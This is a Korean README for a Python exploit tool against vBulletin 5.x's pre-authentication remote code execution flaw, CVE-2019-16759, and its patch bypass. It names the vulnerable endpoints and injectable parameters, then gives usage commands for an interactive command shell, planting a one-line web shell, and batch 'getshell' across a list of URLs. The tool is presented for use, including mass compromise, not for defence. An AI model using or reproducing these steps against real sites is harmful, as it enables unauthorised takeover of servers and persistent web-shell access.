
CVE-2019-16759 vbulletin 5.0.0부터 5.5.4까지 사전 인증 RCE
2019년 9월, vbulletion5(5.0.0-5.5.4)에서 rce 취약점(CVE-2019-16759)이 공개되었으며, ajax/render/widget_php 파일과 post 매개변수 widgetConfig[code]를 사용하여 직접 원격 코드 실행이 가능합니다.
2020년 8월 11일, 인터넷에 CVE-2019-16759 패치가 우회될 수 있다는 소식이 퍼졌으며, ajax/render/widget_tabbedcontainer_tab_panel을 사용하고 post 매개변수 subWidgets[0][config][code]를 구성하여 직접 원격 코드 실행이 가능합니다.
본 도구는 단일 URL 탐지, cmdshell, web shell 획득(한 줄 웹쉘 작성), 배치 탐지, 배치 getshell을 지원합니다.
python2.7
pip install requests
사용 도움말: python vbulletin5-rce.py -h

단일 URL 취약점 탐지: python vbulletin5-rce.py -u "http://www.xxx.com/"


cmdshell: python vbulletin5-rce.py -u "http://www.xxx.com/" --cmdshell


단일 URL getshell: python vbulletin5-rce.py -u "http://www.xxx.com/" --getshell


배치 탐지: python vbulletin5-rce.py -f urls.txt

배치 getshhell: python vbulletin5-rce.py -f urls.txt --getshell

gmail:[email protected]